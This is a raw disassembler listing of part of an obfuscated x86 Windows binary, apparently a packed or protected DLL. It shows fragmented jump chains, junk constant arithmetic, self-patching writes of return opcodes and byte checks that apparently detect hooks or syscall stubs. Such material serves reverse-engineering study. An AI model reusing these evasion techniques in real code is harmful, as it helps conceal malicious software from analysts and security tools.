CHUNK FOR sub_10013389 loc_1001C46B: ; CODE XREF: sub_10013389:loc_1001DA37j mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h call sub_100198E6 ; END OF FUNCTION CHUNK FOR sub_10013389 ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001C47A: ; CODE XREF: sub_10018C4D+2B87j jmp nullsub_104 ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- loc_1001C47F: ; CODE XREF: an.kk9rg:10019A03j jmp loc_1001683F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001C484: ; CODE XREF: sub_1001C6B0:loc_100143EAj ; an.kk9rg:loc_100151A8j ... jmp loc_10014364 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_1001C489: ; CODE XREF: sub_10015E0D-799j ; an.kk9rg:10018CEDj ... pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001C48C: ; CODE XREF: sub_1001A97E+1104j jmp loc_1001C2EB ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_1001C491: ; CODE XREF: sub_1001B5A3-55FDj jmp loc_1001334E ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- push ecx mov ecx, ebp jmp loc_1001DD3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001C49E: ; CODE XREF: sub_10016D66+43A4j adc edx, 5E9190A2h ; END OF FUNCTION CHUNK FOR sub_10016D66 ; START OF FUNCTION CHUNK FOR sub_100178C9 loc_1001C4A4: ; CODE XREF: sub_100178C9-3782j ; sub_1001B096:loc_10014197j ... jmp loc_1001779D ; --------------------------------------------------------------------------- loc_1001C4A9: ; CODE XREF: sub_10016D66+2073j ; sub_100178C9+48A6j pop ecx pop ebp jmp loc_10014F84 ; END OF FUNCTION CHUNK FOR sub_100178C9 ; --------------------------------------------------------------------------- loc_1001C4B0: ; CODE XREF: an.kk9rg:10014DC9j mov [ebp+0], ebx push 0A854AF84h ; START OF FUNCTION CHUNK FOR sub_10016A39 loc_1001C4B8: ; CODE XREF: sub_10016A39:loc_10014DB8j xor eax, 71801098h call sub_100181E1 jmp sub_1001CD85 ; END OF FUNCTION CHUNK FOR sub_10016A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_1001C4C8: ; CODE XREF: sub_10015C77:loc_1001983Dj adc edi, ebx jmp loc_1001648C ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- not edi jmp sub_1001B096 ; --------------------------------------------------------------------------- loc_1001C4D6: ; CODE XREF: an.kk9rg:loc_1001CC07j call sub_10017643 loc_1001C4DB: ; CODE XREF: an.kk9rg:100170E1j jmp loc_1001C1A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001C4E0: ; CODE XREF: sub_10016167-459j jmp loc_10015229 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BA9 loc_1001C4E5: ; CODE XREF: sub_10015BA9+1j jmp loc_10019683 ; END OF FUNCTION CHUNK FOR sub_10015BA9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_1001C4EB proc near ; CODE XREF: sub_10013389+1540p ; an.kk9rg:10014D40j arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg esi, [esp-4+arg_0] jmp loc_1001A75F sub_1001C4EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001C4F7: ; CODE XREF: sub_10016734+4A89j sub edx, 0DCA52839h add edx, 25C7FEA6h add edx, ebp add edx, 3DF15460h loc_1001C50B: ; CODE XREF: an.kk9rg:100161F6j mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_10015D5F ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001C516: ; CODE XREF: sub_10015D9E+7690j mov byte ptr [eax], 0C3h jmp loc_10019A27 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- loc_1001C51E: ; CODE XREF: an.kk9rg:1001C523j ; DATA XREF: vyridizn:off_1000203Co call sub_1001C529 jmp ds:off_1000203C ; =============== S U B R O U T I N E ======================================= sub_1001C529 proc near ; CODE XREF: sub_1001C529-3950j ; an.kk9rg:loc_1001C51Ep ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 1001337B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10014734 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 100176D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018BB8 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 1001B11F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C91C SIZE 00000024 BYTES ; FUNCTION CHUNK AT 1001CB92 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D640 SIZE 00000013 BYTES jz loc_10018BDE pop edx jmp loc_100176D5 sub_1001C529 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001C535 proc near ; CODE XREF: sub_10019595-4F36p ; an.kk9rg:10014817j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013942 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001433F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001517A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100165A1 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100169BB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10017437 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001903C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001978F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 10019E9B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A174 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B730 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B8DC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001B97D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C8EE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001CFDA SIZE 00000025 BYTES ; FUNCTION CHUNK AT 1001DA0E SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx cmp al, 0A4h jz loc_10014345 jmp loc_1001517A sub_1001C535 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001C546: ; CODE XREF: an.kk9rg:1001D771j cdq ; =============== S U B R O U T I N E ======================================= sub_1001C547 proc near ; CODE XREF: sub_10013688:loc_1001CD13p ; FUNCTION CHUNK AT 10014E3E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10017504 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019004 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 100197FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A2F9 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx cmp dword ptr [ebp-10h], 0 jnz loc_10014E46 mov eax, [ebp+8] push eax jmp loc_10017504 sub_1001C547 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001C55E: ; CODE XREF: an.kk9rg:1001D633j add eax, [esp] adc edx, [esp+4] add esp, 8 mov eax, [eax] add eax, [ebp-4] jmp loc_1001904E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_1001C572: ; CODE XREF: sub_10013044:loc_1001C67Aj push offset loc_1001C852 jmp loc_1001C3ED ; END OF FUNCTION CHUNK FOR sub_10013044 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFCCh lea eax, nullsub_6 mov byte ptr [eax], 0C3h mov [ebp-4], eax push edi jmp loc_100151B3 ; --------------------------------------------------------------------------- mov eax, 5A4FBBBh call sub_100181E1 mov ds:off_10002038, eax lea eax, loc_10019A27 mov byte ptr [eax], 0C3h jmp loc_1001CD4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001C5B2: ; CODE XREF: sub_10015D9E:loc_10019A27j pop edx jmp loc_100190A7 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018798 loc_1001C5B9: ; CODE XREF: sub_10018798-1075j jmp loc_10016635 ; END OF FUNCTION CHUNK FOR sub_10018798 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3A1 loc_1001C5BE: ; CODE XREF: sub_1001B3A1-80FDj ; sub_1001B3A1+F78j add ecx, 0A74C7C4Ch or ecx, 60FBABD1h add ecx, 1805DD31h xchg ecx, [esp+4+var_4] jmp loc_10018D1A ; END OF FUNCTION CHUNK FOR sub_1001B3A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B943 loc_1001C5D8: ; CODE XREF: sub_1001B943+3j push ecx cmp ds:dword_1001B728, 0 jnz loc_100183A6 call sub_10016B92 loc_1001C5EB: ; DATA XREF: sub_10019409+3ACAo mov eax, [eax] jmp loc_1001669F ; END OF FUNCTION CHUNK FOR sub_1001B943 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001C5F2: ; CODE XREF: sub_1001564A+60B3j ; sub_1001564A+60BCj ... xor ebx, ebx loc_1001C5F4: ; CODE XREF: sub_10019409+22E6j mov eax, ebx pop ecx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- loc_1001C5F9: ; CODE XREF: an.kk9rg:1001713Dj jmp loc_1001897C ; --------------------------------------------------------------------------- jmp loc_100189E7 ; --------------------------------------------------------------------------- mov eax, [ebp-4] push esi mov esi, eax xchg esi, [esp] jmp loc_10019F38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_1001C611: ; CODE XREF: sub_1001504E+4F1Cj xchg edx, [eax] jmp loc_1001C0E3 ; END OF FUNCTION CHUNK FOR sub_1001504E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_1001C619 proc near ; CODE XREF: sub_1001ABFD:loc_100151A3j ; sub_1001C6B0-6283p xchg esi, [esp+0] pop esi loc_1001C61D: ; CODE XREF: an.kk9rg:1001395Cj pop ecx pop ecx push offset loc_1001A629 jmp nullsub_107 sub_1001C619 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001C629: ; CODE XREF: sub_10013389+62j and eax, 7 mov [ebp-14h], eax cmp dword ptr [ebp-10h], 3 jnb loc_1001C7B0 mov eax, [ebp+8] jmp loc_1001717F ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001C641: ; CODE XREF: an.kk9rg:loc_100198D9j ror ebp, 8 xor eax, 3B4246D9h test edx, ecx jmp loc_10014EAC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_1001C651: ; CODE XREF: sub_1001C799+1053j jbe loc_1001AB99 mov ebp, [edx] or ecx, eax xor edx, esi loc_1001C65D: ; CODE XREF: sub_1001C799:loc_1001D7E0j call sub_100199B5 xor esi, ecx jmp loc_10018FE2 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_1001C669: ; CODE XREF: sub_10015E0D-2B35j test edi, 3ECA07Ch jmp loc_10013A00 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- locret_1001C674: ; CODE XREF: an.kk9rg:loc_10015B14j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001C675: ; CODE XREF: sub_10015B5D+79FCj jmp loc_10018420 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_1001C67A: ; CODE XREF: sub_10013044+4AA6j jmp loc_1001C572 ; END OF FUNCTION CHUNK FOR sub_10013044 ; =============== S U B R O U T I N E ======================================= sub_1001C67F proc near ; CODE XREF: an.kk9rg:10016AB4j ; sub_10018066+Cp xchg esi, [esp+0] pop esi mov edx, [ebp-4] imul byte ptr [edx] jmp loc_1001758D sub_1001C67F endp ; sp-analysis failed ; --------------------------------------------------------------------------- pushf ja loc_10017283 jmp sub_1001CA76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001C699: ; CODE XREF: sub_10013389+545Bj adc eax, esi not ebp loc_1001C69D: ; CODE XREF: sub_10014A76:loc_100149A4j mov eax, [ebp-4] movzx eax, word ptr [eax+6] push ebx jmp loc_1001D7AF ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001C6AA: ; CODE XREF: an.kk9rg:1001D63Bj sbb edx, 0B484FA9Dh ; =============== S U B R O U T I N E ======================================= sub_1001C6B0 proc near ; CODE XREF: sub_100136D7+68EDp ; FUNCTION CHUNK AT 10013FE4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100143EA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014556 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10014F4E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10016427 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 100168EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001955E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019B26 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001A630 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001C489 SIZE 00000003 BYTES xchg eax, [esp+0] pop eax mov eax, [ebp-4] cmp byte ptr [eax], 0CFh jz loc_1001A630 mov eax, [ebp-4] loc_1001C6C3: ; CODE XREF: sub_10016C92+15j ; an.kk9rg:1001C713j cmp byte ptr [eax], 0E9h jmp loc_10014556 sub_1001C6B0 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001C6CC: ; CODE XREF: sub_1001A97E-73D3j and edi, ds:100000CBh test edi, 8000h jmp loc_100158FA ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014317 loc_1001C6DD: ; CODE XREF: sub_10014317+71B0j push offset sub_1001B0EB jmp nullsub_110 ; END OF FUNCTION CHUNK FOR sub_10014317 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_1001C6E7: ; CODE XREF: sub_1001893F+1Bj sub edx, 4E0C17DEh jnz loc_10017118 loc_1001C6F3: ; CODE XREF: sub_10018F28+10j jmp loc_10015A02 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001C6F8: ; CODE XREF: sub_1001A54C-24F6j jmp loc_1001B258 ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- loc_1001C6FD: ; CODE XREF: an.kk9rg:100148F7j jmp locret_10015DFC ; --------------------------------------------------------------------------- xor ecx, 0D7B5A428h loc_1001C708: ; CODE XREF: an.kk9rg:1001693Fj adc esi, 0E30D7294h jmp loc_10017113 ; --------------------------------------------------------------------------- jnp loc_1001C6C3 jmp loc_10019859 ; --------------------------------------------------------------------------- push esi mov esi, eax xchg esi, [esp] ror eax, 10h jmp loc_10013B77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001C72C: ; CODE XREF: sub_1001A54C-6C10j jle loc_100165D1 loc_1001C732: ; CODE XREF: sub_1001A54C:loc_1001D27Cj push 0 push 0 push eax push 0A9A6A117h jmp loc_1001CA8B ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D8D9 loc_1001C741: ; CODE XREF: sub_1001D8D9:loc_10016664j call sub_10017F49 loc_1001C746: ; CODE XREF: an.kk9rg:1001A8BCj jmp loc_10018D2B ; END OF FUNCTION CHUNK FOR sub_1001D8D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001C74B: ; CODE XREF: sub_10019E2E:loc_1001A91Cj xchg edx, eax adc eax, 0AE8B557Eh jmp loc_1001D91E ; END OF FUNCTION CHUNK FOR sub_10019E2E ; =============== S U B R O U T I N E ======================================= sub_1001C758 proc near ; DATA XREF: sub_1001534D-1B0Ao ; FUNCTION CHUNK AT 10019C29 SIZE 0000000B BYTES add esp, 0FFFFFED8h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 loc_1001C76D: ; CODE XREF: sub_1001456F:loc_1001AE64j jmp loc_10019C29 sub_1001C758 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001C772: ; CODE XREF: sub_10013389+3011j push ecx cmp edi, 0DCEB4D28h jmp loc_1001DC49 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_1001C77E proc near ; CODE XREF: an.kk9rg:loc_100168EFj ; sub_10015086+3003p ... arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi mov eax, [eax] add eax, [ebp-4] call sub_1001498A adc esi, eax jmp sub_10016532 sub_1001C77E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001C793: ; CODE XREF: an.kk9rg:1001D57Bj jg loc_10015DB8 ; =============== S U B R O U T I N E ======================================= sub_1001C799 proc near ; CODE XREF: sub_10016323-2CC6p ; FUNCTION CHUNK AT 10013086 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001389A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001483D SIZE 00000028 BYTES ; FUNCTION CHUNK AT 10015EAD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100185E0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100189F6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10018FE2 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 10019B70 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AB99 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001C651 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001D7E0 SIZE 00000011 BYTES xchg edx, [esp+0] pop edx push ebx push 9D1248A4h pop ebx jmp loc_10019B70 sub_1001C799 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_1001C7A9: ; CODE XREF: sub_1001A12F-3F68j mov eax, [ebp+8] or dword ptr [eax-8], 8 loc_1001C7B0: ; CODE XREF: sub_1001A12F:loc_100161B7j ; sub_1001A12F-3F6Ej ... jnb loc_100198F5 mov eax, [ebp+8] ; END OF FUNCTION CHUNK FOR sub_1001A12F ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001C7B9: ; CODE XREF: sub_10013389:loc_100165C3j cmp dword ptr [eax-1Ch], 0F6h jz loc_10016C09 jmp loc_1001DA37 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_1001C7CB: ; CODE XREF: sub_10013BB8-9E7j or eax, 1E9ED459h add eax, 0E59F26D7h add eax, ebp add eax, 1BA103A4h mov eax, [eax] mov byte ptr [ebp+eax-100h], 0 jmp loc_100169FF ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100152C7 loc_1001C7EE: ; CODE XREF: sub_1001BB87:loc_100172B8j ; sub_1001BB87-3FBDj ... jmp loc_100164F6 ; --------------------------------------------------------------------------- loc_1001C7F3: ; CODE XREF: an.kk9rg:100130BCj ; sub_100152C7+Aj pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_100152C7 ; --------------------------------------------------------------------------- loc_1001C7F6: ; CODE XREF: an.kk9rg:100169ABj jmp loc_100198D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001C7FB: ; CODE XREF: sub_100193F2-194Fj imul byte ptr [edx] loc_1001C7FD: ; CODE XREF: sub_10017BF9:loc_10019A60j cmp al, 0A4h jnz loc_1001891A mov eax, [ebp-4] cmp word ptr [eax], 2ECDh jz loc_1001891A jmp loc_1001CA86 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001C818: ; CODE XREF: sub_1001CF40+91Dj jz loc_10019216 jmp loc_10013662 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- xchg esi, [ecx] jmp sub_1001C830 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001C82B: ; CODE XREF: an.kk9rg:100189A6j jmp locret_1001955D ; =============== S U B R O U T I N E ======================================= sub_1001C830 proc near ; CODE XREF: sub_10013389+10Dp ; an.kk9rg:1001C825j xchg ebx, [esp+0] pop ebx mov eax, ds:dword_10019654 mov eax, [eax] mov ds:dword_10019664, eax xor eax, eax mov ds:dword_10019654, eax jmp loc_10013B95 sub_1001C830 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001C84C proc near ; CODE XREF: sub_1001DC8F+4j push ebp jmp loc_1001B06E sub_1001C84C endp ; --------------------------------------------------------------------------- loc_1001C852: ; DATA XREF: sub_10013044:loc_1001C572o cmp byte ptr [eax], 0F1h jnz loc_10016F65 ; START OF FUNCTION CHUNK FOR sub_10015988 loc_1001C85B: ; CODE XREF: sub_10015988:loc_10019C71j jmp loc_10019468 ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001C860: ; CODE XREF: sub_10013061:loc_10013836j jz loc_10019C7A jmp loc_1001DEF5 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001C86B: ; CODE XREF: sub_100136D7+577Aj mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_1001AD3B jmp loc_10014909 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001C87B: ; CODE XREF: sub_10019E2E:loc_10017DB3j cmp al, 0A4h jz loc_1001D928 jmp loc_1001B92A ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100147AF loc_1001C888: ; CODE XREF: sub_100147AF:loc_10014F8Ej add ebx, 0D2548906h xchg ebx, [esp+4+var_4] jmp loc_1001DC30 ; END OF FUNCTION CHUNK FOR sub_100147AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_1001C896: ; CODE XREF: sub_10018E79:loc_1001A1B6j rol edx, 11h xor edx, 11526EAh loc_1001C89F: ; CODE XREF: sub_10015868+5j add edx, ebp push offset sub_1001A606 jmp nullsub_113 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_1001C8AB: ; CODE XREF: sub_1001456F+3E65j jb loc_10014EEC or ebp, esi mov [esi], ebp mov eax, [esi] jmp loc_1001ADF8 ; END OF FUNCTION CHUNK FOR sub_1001456F ; =============== S U B R O U T I N E ======================================= sub_1001C8BC proc near ; DATA XREF: sub_1001D4C9+190o add dword ptr [ebp-8], 4 jmp loc_1001D4D6 sub_1001C8BC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D4C9 loc_1001C8C5: ; CODE XREF: sub_1001D4C9:loc_1001D653j add dword ptr [ebp-8], 2 jmp loc_10015900 ; END OF FUNCTION CHUNK FOR sub_1001D4C9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001C8CE proc near ; CODE XREF: sub_10015995-C46p ; sub_1001555F+4p var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10016E86 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018C28 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 10018EA4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10019B82 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001A921 SIZE 0000000B BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h jmp loc_10018EA4 sub_1001C8CE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001C8D9: ; CODE XREF: sub_10016167:loc_10019E04j xchg edx, [esp+0] jmp sub_100181E1 ; --------------------------------------------------------------------------- loc_1001C8E1: ; CODE XREF: sub_10016167-F39j adc edx, 8C96D76Dh cmp ebx, eax jmp loc_10014580 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001C8EE: ; CODE XREF: sub_1001C535-2694j rol ebp, 15h test ebx, ecx jmp loc_1001433F ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- shl ebx, 0Ah jmp sub_10019B0D ; --------------------------------------------------------------------------- loc_1001C900: ; DATA XREF: sub_100145ED+5917o mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_10015F16 jmp loc_1001861D ; --------------------------------------------------------------------------- loc_1001C911: ; CODE XREF: an.kk9rg:loc_100153D3j jnz loc_10015B97 jmp loc_1001CB7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C529 loc_1001C91C: ; CODE XREF: sub_1001C529:loc_1001B11Fj call sub_1001B982 mov eax, 0C7CC2482h call sub_100181E1 push ecx push 4598843Ch pop ecx rol ecx, 18h xor ecx, 42E868D0h jmp loc_10014734 ; END OF FUNCTION CHUNK FOR sub_1001C529 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001536A loc_1001C940: ; CODE XREF: sub_1001536A+Cj push 7D62DD57h pop esi xor esi, 2BD9AEECh loc_1001C94C: ; CODE XREF: an.kk9rg:loc_1001421Dj add esi, 0B945EC2Bh popf jmp loc_1001C197 ; END OF FUNCTION CHUNK FOR sub_1001536A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018A1E loc_1001C958: ; CODE XREF: sub_10018A1E:loc_1001DD46j mov [ebp+var_104], eax mov [ebp+var_100], 276E6143h mov [ebp+var_FC], 6F6C2074h mov [ebp+var_F8], 206461h mov [ebp+var_108], 0Bh ; END OF FUNCTION CHUNK FOR sub_10018A1E ; START OF FUNCTION CHUNK FOR sub_1001BC80 loc_1001C986: ; CODE XREF: sub_1001BC80+13j jo loc_10017D5E mov eax, [ebp-104h] jmp loc_10018407 ; END OF FUNCTION CHUNK FOR sub_1001BC80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100141F5 loc_1001C997: ; CODE XREF: sub_100141F5:loc_1001587Cj mov [ebp+var_8], eax ; END OF FUNCTION CHUNK FOR sub_100141F5 ; START OF FUNCTION CHUNK FOR sub_10015945 loc_1001C99A: ; CODE XREF: sub_10015945+2778j jns loc_100130DA mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jnz loc_100180B7 call sub_100130C7 loc_1001C9B1: ; CODE XREF: sub_10015B5D-1BAj jmp loc_1001AA2A ; END OF FUNCTION CHUNK FOR sub_10015945 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_1001C9B6: ; CODE XREF: sub_10017A58-193Dj push 45AA787Dh add ebp, 64B54B0Eh loc_1001C9C1: ; CODE XREF: sub_10017A58-19B5j ; sub_1001CF40:loc_10017937j ... jmp loc_1001DC6B ; --------------------------------------------------------------------------- loc_1001C9C6: ; CODE XREF: sub_1001CF40+Fj ; sub_10017A58+5B82j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001C9C9: ; CODE XREF: sub_10013061+1ED9j jmp loc_1001CCED ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- push esi mov esi, ecx jmp loc_10019BCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001C9D6: ; CODE XREF: sub_10018AB1+3140j rol edx, 5 adc ebx, 0BA6371D6h jmp loc_100140FA ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; 